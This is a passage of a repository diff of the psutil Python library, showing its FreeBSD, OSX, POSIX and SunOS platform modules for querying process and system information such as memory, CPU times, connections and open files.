return _common.pcputimes(user, system)
@wrap_exceptions
def memory_info(self):
rss, vms = cext.proc_memory_info(self.pid)[:2]
return _common.pmem(rss, vms)
@wrap_exceptions
def memory_info_ex(self):
return pextmem(*cext.proc_memory_info(self.pid))
@wrap_exceptions
def create_time(self):
return cext.proc_create_time(self.pid)
@wrap_exceptions
def num_threads(self):
return cext.proc_num_threads(self.pid)
@wrap_exceptions
def num_ctx_switches(self):
return _common.pctxsw(*cext.proc_num_ctx_switches(self.pid))
@wrap_exceptions
def threads(self):
rawlist = cext.proc_threads(self.pid)
retlist = []
for thread_id, utime, stime in rawlist:
ntuple = _common.pthread(thread_id, utime, stime)
retlist.append(ntuple)
return retlist
@wrap_exceptions
def connections(self, kind='inet'):
if kind not in conn_tmap:
raise ValueError("invalid %r kind argument; choose between %s"
% (kind, ', '.join([repr(x) for x in conn_tmap])))
families, types = conn_tmap[kind]
rawlist = cext.proc_connections(self.pid, families, types)
ret = []
for item in rawlist:
fd, fam, type, laddr, raddr, status = item
fam = sockfam_to_enum(fam)
type = socktype_to_enum(type)
status = TCP_STATUSES[status]
nt = _common.pconn(fd, fam, type, laddr, raddr, status)
ret.append(nt)
return ret
@wrap_exceptions
def wait(self, timeout=None):
try:
return _psposix.wait_pid(self.pid, timeout)
except _psposix.TimeoutExpired:
# support for private module import
if TimeoutExpired is None:
raise
raise TimeoutExpired(timeout, self.pid, self._name)
@wrap_exceptions
def nice_get(self):
return cext_posix.getpriority(self.pid)
@wrap_exceptions
def nice_set(self, value):
return cext_posix.setpriority(self.pid, value)
@wrap_exceptions
def status(self):
code = cext.proc_status(self.pid)
if code in PROC_STATUSES:
return PROC_STATUSES[code]
# XXX is this legit? will we even ever get here?
return "?"
@wrap_exceptions
def io_counters(self):
rc, wc, rb, wb = cext.proc_io_counters(self.pid)
return _common.pio(rc, wc, rb, wb)
nt_mmap_grouped = namedtuple(
'mmap', 'path rss, private, ref_count, shadow_count')
nt_mmap_ext = namedtuple(
'mmap', 'addr, perms path rss, private, ref_count, shadow_count')
# FreeBSD < 8 does not support functions based on kinfo_getfile()
# and kinfo_getvmmap()
if hasattr(cext, 'proc_open_files'):
@wrap_exceptions
def open_files(self):
"""Return files opened by process as a list of namedtuples."""
rawlist = cext.proc_open_files(self.pid)
return [_common.popenfile(path, fd) for path, fd in rawlist]
@wrap_exceptions
def cwd(self):
"""Return process current working directory."""
# sometimes we get an empty string, in which case we turn
# it into None
return cext.proc_cwd(self.pid) or None
@wrap_exceptions
def memory_maps(self):
return cext.proc_memory_maps(self.pid)
@wrap_exceptions
def num_fds(self):
"""Return the number of file descriptors opened by this process."""
return cext.proc_num_fds(self.pid)
else:
def _not_implemented(self):
raise NotImplementedError("supported only starting from FreeBSD 8")
open_files = _not_implemented
proc_cwd = _not_implemented
memory_maps = _not_implemented
num_fds = _not_implemented
@wrap_exceptions
def cpu_affinity_get(self):
return cext.proc_cpu_affinity_get(self.pid)
@wrap_exceptions
def cpu_affinity_set(self, cpus):
# Pre-emptively check if CPUs are valid because the C
# function has a weird behavior in case of invalid CPUs,
# see: https://github.com/giampaolo/psutil/issues/586
allcpus = tuple(range(len(per_cpu_times())))
for cpu in cpus:
if cpu not in allcpus:
raise ValueError("invalid CPU #%i (choose between %s)"
% (cpu, allcpus))
try:
cext.proc_cpu_affinity_set(self.pid, cpus)
except OSError as err:
# 'man cpuset_setaffinity' about EDEADLK:
# <<the call would leave a thread without a valid CPU to run
# on because the set does not overlap with the thread's
# anonymous mask>>
if err.errno in (errno.EINVAL, errno.EDEADLK):
for cpu in cpus:
if cpu not in allcpus:
raise ValueError("invalid CPU #%i (choose between %s)"
% (cpu, allcpus))
raise

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,363 @@
#!/usr/bin/env python
# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""OSX platform implementation."""
import errno
import functools
import os
from collections import namedtuple
from . import _common
from . import _psposix
from . import _psutil_osx as cext
from . import _psutil_posix as cext_posix
from ._common import conn_tmap, usage_percent, isfile_strict
from ._common import sockfam_to_enum, socktype_to_enum
__extra__all__ = []
# --- constants
PAGESIZE = os.sysconf("SC_PAGE_SIZE")
AF_LINK = cext_posix.AF_LINK
# http://students.mimuw.edu.pl/lxr/source/include/net/tcp_states.h
TCP_STATUSES = {
cext.TCPS_ESTABLISHED: _common.CONN_ESTABLISHED,
cext.TCPS_SYN_SENT: _common.CONN_SYN_SENT,
cext.TCPS_SYN_RECEIVED: _common.CONN_SYN_RECV,
cext.TCPS_FIN_WAIT_1: _common.CONN_FIN_WAIT1,
cext.TCPS_FIN_WAIT_2: _common.CONN_FIN_WAIT2,
cext.TCPS_TIME_WAIT: _common.CONN_TIME_WAIT,
cext.TCPS_CLOSED: _common.CONN_CLOSE,
cext.TCPS_CLOSE_WAIT: _common.CONN_CLOSE_WAIT,
cext.TCPS_LAST_ACK: _common.CONN_LAST_ACK,
cext.TCPS_LISTEN: _common.CONN_LISTEN,
cext.TCPS_CLOSING: _common.CONN_CLOSING,
cext.PSUTIL_CONN_NONE: _common.CONN_NONE,
}
PROC_STATUSES = {
cext.SIDL: _common.STATUS_IDLE,
cext.SRUN: _common.STATUS_RUNNING,
cext.SSLEEP: _common.STATUS_SLEEPING,
cext.SSTOP: _common.STATUS_STOPPED,
cext.SZOMB: _common.STATUS_ZOMBIE,
}
scputimes = namedtuple('scputimes', ['user', 'nice', 'system', 'idle'])
svmem = namedtuple(
'svmem', ['total', 'available', 'percent', 'used', 'free',
'active', 'inactive', 'wired'])
pextmem = namedtuple('pextmem', ['rss', 'vms', 'pfaults', 'pageins'])
pmmap_grouped = namedtuple(
'pmmap_grouped',
'path rss private swapped dirtied ref_count shadow_depth')
pmmap_ext = namedtuple(
'pmmap_ext', 'addr perms ' + ' '.join(pmmap_grouped._fields))
# set later from __init__.py
NoSuchProcess = None
ZombieProcess = None
AccessDenied = None
TimeoutExpired = None
# --- functions
def virtual_memory():
"""System virtual memory as a namedtuple."""
total, active, inactive, wired, free = cext.virtual_mem()
avail = inactive + free
used = active + inactive + wired
percent = usage_percent((total - avail), total, _round=1)
return svmem(total, avail, percent, used, free,
active, inactive, wired)
def swap_memory():
"""Swap system memory as a (total, used, free, sin, sout) tuple."""
total, used, free, sin, sout = cext.swap_mem()
percent = usage_percent(used, total, _round=1)
return _common.sswap(total, used, free, percent, sin, sout)
def cpu_times():
"""Return system CPU times as a namedtuple."""
user, nice, system, idle = cext.cpu_times()
return scputimes(user, nice, system, idle)
def per_cpu_times():
"""Return system CPU times as a named tuple"""
ret = []
for cpu_t in cext.per_cpu_times():
user, nice, system, idle = cpu_t
item = scputimes(user, nice, system, idle)
ret.append(item)
return ret
def cpu_count_logical():
"""Return the number of logical CPUs in the system."""
return cext.cpu_count_logical()
def cpu_count_physical():
"""Return the number of physical CPUs in the system."""
return cext.cpu_count_phys()
def boot_time():
"""The system boot time expressed in seconds since the epoch."""
return cext.boot_time()
def disk_partitions(all=False):
retlist = []
partitions = cext.disk_partitions()
for partition in partitions:
device, mountpoint, fstype, opts = partition
if device == 'none':
device = ''
if not all:
if not os.path.isabs(device) or not os.path.exists(device):
continue
ntuple = _common.sdiskpart(device, mountpoint, fstype, opts)
retlist.append(ntuple)
return retlist
def users():
retlist = []
rawlist = cext.users()
for item in rawlist:
user, tty, hostname, tstamp = item
if tty == '~':
continue # reboot or shutdown
if not tstamp:
continue
nt = _common.suser(user, tty or None, hostname or None, tstamp)
retlist.append(nt)
return retlist
def net_connections(kind='inet'):
# Note: on OSX this will fail with AccessDenied unless
# the process is owned by root.
ret = []
for pid in pids():
try:
cons = Process(pid).connections(kind)
except NoSuchProcess:
continue
else:
if cons:
for c in cons:
c = list(c) + [pid]
ret.append(_common.sconn(*c))
return ret
def net_if_stats():
"""Get NIC stats (isup, duplex, speed, mtu)."""
names = net_io_counters().keys()
ret = {}
for name in names:
isup, duplex, speed, mtu = cext_posix.net_if_stats(name)
if hasattr(_common, 'NicDuplex'):
duplex = _common.NicDuplex(duplex)
ret[name] = _common.snicstats(isup, duplex, speed, mtu)
return ret
pids = cext.pids
pid_exists = _psposix.pid_exists
disk_usage = _psposix.disk_usage
net_io_counters = cext.net_io_counters
disk_io_counters = cext.disk_io_counters
net_if_addrs = cext_posix.net_if_addrs
def wrap_exceptions(fun):
"""Decorator which translates bare OSError exceptions into
NoSuchProcess and AccessDenied.
"""
@functools.wraps(fun)
def wrapper(self, *args, **kwargs):
try:
return fun(self, *args, **kwargs)
except OSError as err:
# support for private module import
if (NoSuchProcess is None or AccessDenied is None or
ZombieProcess is None):
raise
if err.errno == errno.ESRCH:
if not pid_exists(self.pid):
raise NoSuchProcess(self.pid, self._name)
else:
raise ZombieProcess(self.pid, self._name, self._ppid)
if err.errno in (errno.EPERM, errno.EACCES):
raise AccessDenied(self.pid, self._name)
raise
return wrapper
class Process(object):
"""Wrapper class around underlying C implementation."""
__slots__ = ["pid", "_name", "_ppid"]
def __init__(self, pid):
self.pid = pid
self._name = None
self._ppid = None
@wrap_exceptions
def name(self):
return cext.proc_name(self.pid)
@wrap_exceptions
def exe(self):
return cext.proc_exe(self.pid)
@wrap_exceptions
def cmdline(self):
if not pid_exists(self.pid):
raise NoSuchProcess(self.pid, self._name)
return cext.proc_cmdline(self.pid)
@wrap_exceptions
def ppid(self):
return cext.proc_ppid(self.pid)
@wrap_exceptions
def cwd(self):
return cext.proc_cwd(self.pid)
@wrap_exceptions
def uids(self):
real, effective, saved = cext.proc_uids(self.pid)
return _common.puids(real, effective, saved)
@wrap_exceptions
def gids(self):
real, effective, saved = cext.proc_gids(self.pid)
return _common.pgids(real, effective, saved)
@wrap_exceptions
def terminal(self):
tty_nr = cext.proc_tty_nr(self.pid)
tmap = _psposix._get_terminal_map()
try:
return tmap[tty_nr]
except KeyError:
return None
@wrap_exceptions
def memory_info(self):
rss, vms = cext.proc_memory_info(self.pid)[:2]
return _common.pmem(rss, vms)
@wrap_exceptions
def memory_info_ex(self):
rss, vms, pfaults, pageins = cext.proc_memory_info(self.pid)
return pextmem(rss, vms, pfaults * PAGESIZE, pageins * PAGESIZE)
@wrap_exceptions
def cpu_times(self):
user, system = cext.proc_cpu_times(self.pid)
return _common.pcputimes(user, system)
@wrap_exceptions
def create_time(self):
return cext.proc_create_time(self.pid)
@wrap_exceptions
def num_ctx_switches(self):
return _common.pctxsw(*cext.proc_num_ctx_switches(self.pid))
@wrap_exceptions
def num_threads(self):
return cext.proc_num_threads(self.pid)
@wrap_exceptions
def open_files(self):
if self.pid == 0:
return []
files = []
rawlist = cext.proc_open_files(self.pid)
for path, fd in rawlist:
if isfile_strict(path):
ntuple = _common.popenfile(path, fd)
files.append(ntuple)
return files
@wrap_exceptions
def connections(self, kind='inet'):
if kind not in conn_tmap:
raise ValueError("invalid %r kind argument; choose between %s"
% (kind, ', '.join([repr(x) for x in conn_tmap])))
families, types = conn_tmap[kind]
rawlist = cext.proc_connections(self.pid, families, types)
ret = []
for item in rawlist:
fd, fam, type, laddr, raddr, status = item
status = TCP_STATUSES[status]
fam = sockfam_to_enum(fam)
type = socktype_to_enum(type)
nt = _common.pconn(fd, fam, type, laddr, raddr, status)
ret.append(nt)
return ret
@wrap_exceptions
def num_fds(self):
if self.pid == 0:
return 0
return cext.proc_num_fds(self.pid)
@wrap_exceptions
def wait(self, timeout=None):
try:
return _psposix.wait_pid(self.pid, timeout)
except _psposix.TimeoutExpired:
# support for private module import
if TimeoutExpired is None:
raise
raise TimeoutExpired(timeout, self.pid, self._name)
@wrap_exceptions
def nice_get(self):
return cext_posix.getpriority(self.pid)
@wrap_exceptions
def nice_set(self, value):
return cext_posix.setpriority(self.pid, value)
@wrap_exceptions
def status(self):
code = cext.proc_status(self.pid)
# XXX is '?' legit? (we're not supposed to return it anyway)
return PROC_STATUSES.get(code, '?')
@wrap_exceptions
def threads(self):
rawlist = cext.proc_threads(self.pid)
retlist = []
for thread_id, utime, stime in rawlist:
ntuple = _common.pthread(thread_id, utime, stime)
retlist.append(ntuple)
return retlist
@wrap_exceptions
def memory_maps(self):
return cext.proc_memory_maps(self.pid)

View File

@ -0,0 +1,156 @@
#!/usr/bin/env python
# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Routines common to all posix systems."""
import errno
import glob
import os
import sys
import time
from ._common import sdiskusage, usage_percent, memoize
from ._compat import PY3, unicode
class TimeoutExpired(Exception):
pass
def pid_exists(pid):
"""Check whether pid exists in the current process table."""
if pid == 0:
# According to "man 2 kill" PID 0 has a special meaning:
# it refers to <<every process in the process group of the
# calling process>> so we don't want to go any further.
# If we get here it means this UNIX platform *does* have
# a process with id 0.
return True
try:
os.kill(pid, 0)
except OSError as err:
if err.errno == errno.ESRCH:
# ESRCH == No such process
return False
elif err.errno == errno.EPERM:
# EPERM clearly means there's a process to deny access to
return True
else:
# According to "man 2 kill" possible error values are
# (EINVAL, EPERM, ESRCH) therefore we should never get
# here. If we do let's be explicit in considering this
# an error.
raise err
else:
return True
def wait_pid(pid, timeout=None):
"""Wait for process with pid 'pid' to terminate and return its
exit status code as an integer.
If pid is not a children of os.getpid() (current process) just
waits until the process disappears and return None.
If pid does not exist at all return None immediately.
Raise TimeoutExpired on timeout expired.
"""
def check_timeout(delay):
if timeout is not None:
if timer() >= stop_at:
raise TimeoutExpired()
time.sleep(delay)
return min(delay * 2, 0.04)
timer = getattr(time, 'monotonic', time.time)
if timeout is not None:
def waitcall():
return os.waitpid(pid, os.WNOHANG)
stop_at = timer() + timeout
else:
def waitcall():
return os.waitpid(pid, 0)
delay = 0.0001
while True:
try:
retpid, status = waitcall()
except OSError as err:
if err.errno == errno.EINTR:
delay = check_timeout(delay)
continue
elif err.errno == errno.ECHILD:
# This has two meanings:
# - pid is not a child of os.getpid() in which case
# we keep polling until it's gone
# - pid never existed in the first place
# In both cases we'll eventually return None as we
# can't determine its exit status code.
while True:
if pid_exists(pid):
delay = check_timeout(delay)
else:
return
else:
raise
else:
if retpid == 0:
# WNOHANG was used, pid is still running
delay = check_timeout(delay)
continue
# process exited due to a signal; return the integer of
# that signal
if os.WIFSIGNALED(status):
return os.WTERMSIG(status)
# process exited using exit(2) system call; return the
# integer exit(2) system call has been called with
elif os.WIFEXITED(status):
return os.WEXITSTATUS(status)
else:
# should never happen
raise RuntimeError("unknown process exit status")
def disk_usage(path):
"""Return disk usage associated with path."""
try:
st = os.statvfs(path)
except UnicodeEncodeError:
if not PY3 and isinstance(path, unicode):
# this is a bug with os.statvfs() and unicode on
# Python 2, see:
# - https://github.com/giampaolo/psutil/issues/416
# - http://bugs.python.org/issue18695
try:
path = path.encode(sys.getfilesystemencoding())
except UnicodeEncodeError:
pass
st = os.statvfs(path)
else:
raise
free = (st.f_bavail * st.f_frsize)
total = (st.f_blocks * st.f_frsize)
used = (st.f_blocks - st.f_bfree) * st.f_frsize
percent = usage_percent(used, total, _round=1)
# NB: the percentage is -5% than what shown by df due to
# reserved blocks that we are currently not considering:
# http://goo.gl/sWGbH
return sdiskusage(total, used, free, percent)
@memoize
def _get_terminal_map():
ret = {}
ls = glob.glob('/dev/tty*') + glob.glob('/dev/pts/*')
for name in ls:
assert name not in ret
try:
ret[os.stat(name).st_rdev] = name
except OSError as err:
if err.errno != errno.ENOENT:
raise
return ret

View File

@ -0,0 +1,553 @@
#!/usr/bin/env python
# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Sun OS Solaris platform implementation."""
import errno
import os
import socket
import subprocess
import sys
from collections import namedtuple
from . import _common
from . import _psposix
from . import _psutil_posix as cext_posix
from . import _psutil_sunos as cext
from ._common import isfile_strict, socktype_to_enum, sockfam_to_enum
from ._common import usage_percent
from ._compat import PY3
__extra__all__ = ["CONN_IDLE", "CONN_BOUND"]
PAGE_SIZE = os.sysconf('SC_PAGE_SIZE')
AF_LINK = cext_posix.AF_LINK
CONN_IDLE = "IDLE"
CONN_BOUND = "BOUND"
PROC_STATUSES = {
cext.SSLEEP: _common.STATUS_SLEEPING,
cext.SRUN: _common.STATUS_RUNNING,
cext.SZOMB: _common.STATUS_ZOMBIE,
cext.SSTOP: _common.STATUS_STOPPED,
cext.SIDL: _common.STATUS_IDLE,
cext.SONPROC: _common.STATUS_RUNNING, # same as run
cext.SWAIT: _common.STATUS_WAITING,
}
TCP_STATUSES = {
cext.TCPS_ESTABLISHED: _common.CONN_ESTABLISHED,
cext.TCPS_SYN_SENT: _common.CONN_SYN_SENT,
cext.TCPS_SYN_RCVD: _common.CONN_SYN_RECV,
cext.TCPS_FIN_WAIT_1: _common.CONN_FIN_WAIT1,
cext.TCPS_FIN_WAIT_2: _common.CONN_FIN_WAIT2,
cext.TCPS_TIME_WAIT: _common.CONN_TIME_WAIT,
cext.TCPS_CLOSED: _common.CONN_CLOSE,
cext.TCPS_CLOSE_WAIT: _common.CONN_CLOSE_WAIT,
cext.TCPS_LAST_ACK: _common.CONN_LAST_ACK,
cext.TCPS_LISTEN: _common.CONN_LISTEN,
cext.TCPS_CLOSING: _common.CONN_CLOSING,
cext.PSUTIL_CONN_NONE: _common.CONN_NONE,
cext.TCPS_IDLE: CONN_IDLE, # sunos specific
cext.TCPS_BOUND: CONN_BOUND, # sunos specific
}
scputimes = namedtuple('scputimes', ['user', 'system', 'idle', 'iowait'])
svmem = namedtuple('svmem', ['total', 'available', 'percent', 'used', 'free'])
pextmem = namedtuple('pextmem', ['rss', 'vms'])
pmmap_grouped = namedtuple('pmmap_grouped', ['path', 'rss', 'anon', 'locked'])
pmmap_ext = namedtuple(
'pmmap_ext', 'addr perms ' + ' '.join(pmmap_grouped._fields))
# set later from __init__.py
NoSuchProcess = None
ZombieProcess = None
AccessDenied = None
TimeoutExpired = None
# --- functions
disk_io_counters = cext.disk_io_counters
net_io_counters = cext.net_io_counters
disk_usage = _psposix.disk_usage
net_if_addrs = cext_posix.net_if_addrs
def virtual_memory():
# we could have done this with kstat, but imho this is good enough
total = os.sysconf('SC_PHYS_PAGES') * PAGE_SIZE
# note: there's no difference on Solaris
free = avail = os.sysconf('SC_AVPHYS_PAGES') * PAGE_SIZE
used = total - free
percent = usage_percent(used, total, _round=1)
return svmem(total, avail, percent, used, free)
def swap_memory():
sin, sout = cext.swap_mem()
# XXX
# we are supposed to get total/free by doing so:
# http://cvs.opensolaris.org/source/xref/onnv/onnv-gate/
# usr/src/cmd/swap/swap.c
# ...nevertheless I can't manage to obtain the same numbers as 'swap'
# cmdline utility, so let's parse its output (sigh!)
p = subprocess.Popen(['/usr/bin/env', 'PATH=/usr/sbin:/sbin:%s' %
os.environ['PATH'], 'swap', '-l', '-k'],
stdout=subprocess.PIPE)
stdout, stderr = p.communicate()
if PY3:
stdout = stdout.decode(sys.stdout.encoding)
if p.returncode != 0:
raise RuntimeError("'swap -l -k' failed (retcode=%s)" % p.returncode)
lines = stdout.strip().split('\n')[1:]
if not lines:
raise RuntimeError('no swap device(s) configured')
total = free = 0
for line in lines:
line = line.split()
t, f = line[-2:]
t = t.replace('K', '')
f = f.replace('K', '')
total += int(int(t) * 1024)
free += int(int(f) * 1024)
used = total - free
percent = usage_percent(used, total, _round=1)
return _common.sswap(total, used, free, percent,
sin * PAGE_SIZE, sout * PAGE_SIZE)
def pids():
"""Returns a list of PIDs currently running on the system."""
return [int(x) for x in os.listdir('/proc') if x.isdigit()]
def pid_exists(pid):
"""Check for the existence of a unix pid."""
return _psposix.pid_exists(pid)
def cpu_times():
"""Return system-wide CPU times as a named tuple"""
ret = cext.per_cpu_times()
return scputimes(*[sum(x) for x in zip(*ret)])
def per_cpu_times():
"""Return system per-CPU times as a list of named tuples"""
ret = cext.per_cpu_times()
return [scputimes(*x) for x in ret]
def cpu_count_logical():
"""Return the number of logical CPUs in the system."""
try:
return os.sysconf("SC_NPROCESSORS_ONLN")
except ValueError:
# mimic os.cpu_count() behavior
return None
def cpu_count_physical():
"""Return the number of physical CPUs in the system."""
return cext.cpu_count_phys()
def boot_time():
"""The system boot time expressed in seconds since the epoch."""
return cext.boot_time()
def users():
"""Return currently connected users as a list of namedtuples."""
retlist = []
rawlist = cext.users()
localhost = (':0.0', ':0')
for item in rawlist:
user, tty, hostname, tstamp, user_process = item
# note: the underlying C function includes entries about
# system boot, run level and others. We might want
# to use them in the future.
if not user_process:
continue
if hostname in localhost:
hostname = 'localhost'
nt = _common.suser(user, tty, hostname, tstamp)
retlist.append(nt)
return retlist
def disk_partitions(all=False):
"""Return system disk partitions."""
# TODO - the filtering logic should be better checked so that
# it tries to reflect 'df' as much as possible
retlist = []
partitions = cext.disk_partitions()
for partition in partitions:
device, mountpoint, fstype, opts = partition
if device == 'none':
device = ''
if not all:
# Differently from, say, Linux, we don't have a list of
# common fs types so the best we can do, AFAIK, is to
# filter by filesystem having a total size > 0.
if not disk_usage(mountpoint).total:
continue
ntuple = _common.sdiskpart(device, mountpoint, fstype, opts)
retlist.append(ntuple)
return retlist
def net_connections(kind, _pid=-1):
"""Return socket connections. If pid == -1 return system-wide
connections (as opposed to connections opened by one process only).
Only INET sockets are returned (UNIX are not).
"""
cmap = _common.conn_tmap.copy()
if _pid == -1:
cmap.pop('unix', 0)
if kind not in cmap:
raise ValueError("invalid %r kind argument; choose between %s"
% (kind, ', '.join([repr(x) for x in cmap])))
families, types = _common.conn_tmap[kind]
rawlist = cext.net_connections(_pid, families, types)
ret = set()
for item in rawlist:
fd, fam, type_, laddr, raddr, status, pid = item
if fam not in families:
continue
if type_ not in types:
continue
status = TCP_STATUSES[status]
fam = sockfam_to_enum(fam)
type_ = socktype_to_enum(type_)
if _pid == -1:
nt = _common.sconn(fd, fam, type_, laddr, raddr, status, pid)
else:
nt = _common.pconn(fd, fam, type_, laddr, raddr, status)
ret.add(nt)
return list(ret)
def net_if_stats():
"""Get NIC stats (isup, duplex, speed, mtu)."""
ret = cext.net_if_stats()
for name, items in ret.items():
isup, duplex, speed, mtu = items
if hasattr(_common, 'NicDuplex'):
duplex = _common.NicDuplex(duplex)
ret[name] = _common.snicstats(isup, duplex, speed, mtu)
return ret
def wrap_exceptions(fun):
"""Call callable into a try/except clause and translate ENOENT,
EACCES and EPERM in NoSuchProcess or AccessDenied exceptions.
"""
def wrapper(self, *args, **kwargs):
try:
return fun(self, *args, **kwargs)
except EnvironmentError as err:
# support for private module import
if (NoSuchProcess is None or AccessDenied is None or
ZombieProcess is None):
raise
# ENOENT (no such file or directory) gets raised on open().
# ESRCH (no such process) can get raised on read() if
# process is gone in meantime.
if err.errno in (errno.ENOENT, errno.ESRCH):
if not pid_exists(self.pid):
raise NoSuchProcess(self.pid, self._name)
else:
raise ZombieProcess(self.pid, self._name, self._ppid)
if err.errno in (errno.EPERM, errno.EACCES):
raise AccessDenied(self.pid, self._name)
raise
return wrapper
class Process(object):
"""Wrapper class around underlying C implementation."""
__slots__ = ["pid", "_name", "_ppid"]
def __init__(self, pid):
self.pid = pid
self._name = None
self._ppid = None
@wrap_exceptions
def name(self):
# note: max len == 15
return cext.proc_name_and_args(self.pid)[0]
@wrap_exceptions
def exe(self):
# Will be guess later from cmdline but we want to explicitly
# invoke cmdline here in order to get an AccessDenied
# exception if the user has not enough privileges.
self.cmdline()
return ""
@wrap_exceptions
def cmdline(self):
return cext.proc_name_and_args(self.pid)[1].split(' ')
@wrap_exceptions
def create_time(self):
return cext.proc_basic_info(self.pid)[3]
@wrap_exceptions
def num_threads(self):
return cext.proc_basic_info(self.pid)[5]
@wrap_exceptions
def nice_get(self):
# For some reason getpriority(3) return ESRCH (no such process)
# for certain low-pid processes, no matter what (even as root).
# The process actually exists though, as it has a name,
# creation time, etc.
# The best thing we can do here appears to be raising AD.
# Note: tested on Solaris 11; on Open Solaris 5 everything is
# fine.
try:
return cext_posix.getpriority(self.pid)
except EnvironmentError as err:
# 48 is 'operation not supported' but errno does not expose
# it. It occurs for low system pids.
if err.errno in (errno.ENOENT, errno.ESRCH, 48):
if pid_exists(self.pid):
raise AccessDenied(self.pid, self._name)
raise
@wrap_exceptions
def nice_set(self, value):
if self.pid in (2, 3):
# Special case PIDs: internally setpriority(3) return ESRCH
# (no such process), no matter what.
# The process actually exists though, as it has a name,
# creation time, etc.
raise AccessDenied(self.pid, self._name)
return cext_posix.setpriority(self.pid, value)
@wrap_exceptions
def ppid(self):
return cext.proc_basic_info(self.pid)[0]
@wrap_exceptions
def uids(self):
real, effective, saved, _, _, _ = cext.proc_cred(self.pid)
return _common.puids(real, effective, saved)
@wrap_exceptions
def gids(self):
_, _, _, real, effective, saved = cext.proc_cred(self.pid)
return _common.puids(real, effective, saved)
@wrap_exceptions
def cpu_times(self):
user, system = cext.proc_cpu_times(self.pid)
return _common.pcputimes(user, system)
@wrap_exceptions
def terminal(self):
hit_enoent = False
tty = wrap_exceptions(
cext.proc_basic_info(self.pid)[0])
if tty != cext.PRNODEV:
for x in (0, 1, 2, 255):
try:
return os.readlink('/proc/%d/path/%d' % (self.pid, x))
except OSError as err:
if err.errno == errno.ENOENT:
hit_enoent = True
continue
raise
if hit_enoent:
# raise NSP if the process disappeared on us
os.stat('/proc/%s' % self.pid)
@wrap_exceptions
def cwd(self):
# /proc/PID/path/cwd may not be resolved by readlink() even if
# it exists (ls shows it). If that's the case and the process
# is still alive return None (we can return None also on BSD).
# Reference: http://goo.gl/55XgO
try:
return os.readlink("/proc/%s/path/cwd" % self.pid)
except OSError as err:
if err.errno == errno.ENOENT:
os.stat("/proc/%s" % self.pid)
return None
raise
@wrap_exceptions
def memory_info(self):
ret = cext.proc_basic_info(self.pid)
rss, vms = ret[1] * 1024, ret[2] * 1024
return _common.pmem(rss, vms)
# it seems Solaris uses rss and vms only
memory_info_ex = memory_info
@wrap_exceptions
def status(self):
code = cext.proc_basic_info(self.pid)[6]
# XXX is '?' legit? (we're not supposed to return it anyway)
return PROC_STATUSES.get(code, '?')
@wrap_exceptions
def threads(self):
ret = []
tids = os.listdir('/proc/%d/lwp' % self.pid)
hit_enoent = False
for tid in tids:
tid = int(tid)
try:
utime, stime = cext.query_process_thread(
self.pid, tid)
except EnvironmentError as err:
# ENOENT == thread gone in meantime
if err.errno == errno.ENOENT:
hit_enoent = True
continue
raise
else:
nt = _common.pthread(tid, utime, stime)
ret.append(nt)
if hit_enoent:
# raise NSP if the process disappeared on us
os.stat('/proc/%s' % self.pid)
return ret
@wrap_exceptions
def open_files(self):
retlist = []
hit_enoent = False
pathdir = '/proc/%d/path' % self.pid
for fd in os.listdir('/proc/%d/fd' % self.pid):
path = os.path.join(pathdir, fd)
if os.path.islink(path):
try:
file = os.readlink(path)
except OSError as err:
# ENOENT == file which is gone in the meantime
if err.errno == errno.ENOENT:
hit_enoent = True
continue
raise
else:
if isfile_strict(file):
retlist.append(_common.popenfile(file, int(fd)))
if hit_enoent:
# raise NSP if the process disappeared on us
os.stat('/proc/%s' % self.pid)
return retlist
def _get_unix_sockets(self, pid):
"""Get UNIX sockets used by process by parsing 'pfiles' output."""
# TODO: rewrite this in C (...but the damn netstat source code
# does not include this part! Argh!!)
cmd = "pfiles %s" % pid
p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
stdout, stderr = p.communicate()
if PY3:
stdout, stderr = [x.decode(sys.stdout.encoding)
for x in (stdout, stderr)]
if p.returncode != 0:
if 'permission denied' in stderr.lower():
raise AccessDenied(self.pid, self._name)
if 'no such process' in stderr.lower():
raise NoSuchProcess(self.pid, self._name)
raise RuntimeError("%r command error\n%s" % (cmd, stderr))
lines = stdout.split('\n')[2:]
for i, line in enumerate(lines):
line = line.lstrip()
if line.startswith('sockname: AF_UNIX'):
path = line.split(' ', 2)[2]
type = lines[i - 2].strip()
if type == 'SOCK_STREAM':
type = socket.SOCK_STREAM
elif type == 'SOCK_DGRAM':
type = socket.SOCK_DGRAM
else:
type = -1
yield (-1, socket.AF_UNIX, type, path, "", _common.CONN_NONE)
@wrap_exceptions
def connections(self, kind='inet'):
ret = net_connections(kind, _pid=self.pid)
# The underlying C implementation retrieves all OS connections
# and filters them by PID. At this point we can't tell whether
# an empty list means there were no connections for process or
# process is no longer active so we force NSP in case the PID
# is no longer there.
if not ret:
os.stat('/proc/%s' % self.pid) # will raise NSP if process is gone
# UNIX sockets
if kind in ('all', 'unix'):
ret.extend([_common.pconn(*conn) for conn in
self._get_unix_sockets(self.pid)])
return ret
nt_mmap_grouped = namedtuple('mmap', 'path rss anon locked')
nt_mmap_ext = namedtuple('mmap', 'addr perms path rss anon locked')
@wrap_exceptions
def memory_maps(self):
def toaddr(start, end):
return '%s-%s' % (hex(start)[2:].strip('L'),
hex(end)[2:].strip('L'))
retlist = []
rawlist = cext.proc_memory_maps(self.pid)
hit_enoent = False
for item in rawlist:
addr, addrsize, perm, name, rss, anon, locked = item
addr = toaddr(addr, addrsize)
if not name.startswith('['):
try:
name = os.readlink('/proc/%s/path/%s' % (self.pid, name))
except OSError as err:
if err.errno == errno.ENOENT:
# sometimes the link may not be resolved by
# readlink() even if it exists (ls shows it).
# If that's the case we just return the
# unresolved link path.
# This seems an incosistency with /proc similar
# to: http://goo.gl/55XgO
name = '/proc/%s/path/%s' % (self.pid, name)
hit_enoent = True
else:
raise
retlist.append((addr, perm, name, rss, anon, locked))
if hit_enoent:
# raise NSP if the process disappeared on us
os.stat('/proc/%s' % self.pid)
return retlist
@wrap_exceptions
def num_fds(self):
return len(os.listdir("/proc/%s/fd" % self.pid))
@wrap_exceptions
def num_ctx_switches(self):
return _common.pctxsw(*cext.proc_num_ctx_switches(self.pid))
@wrap_exceptions
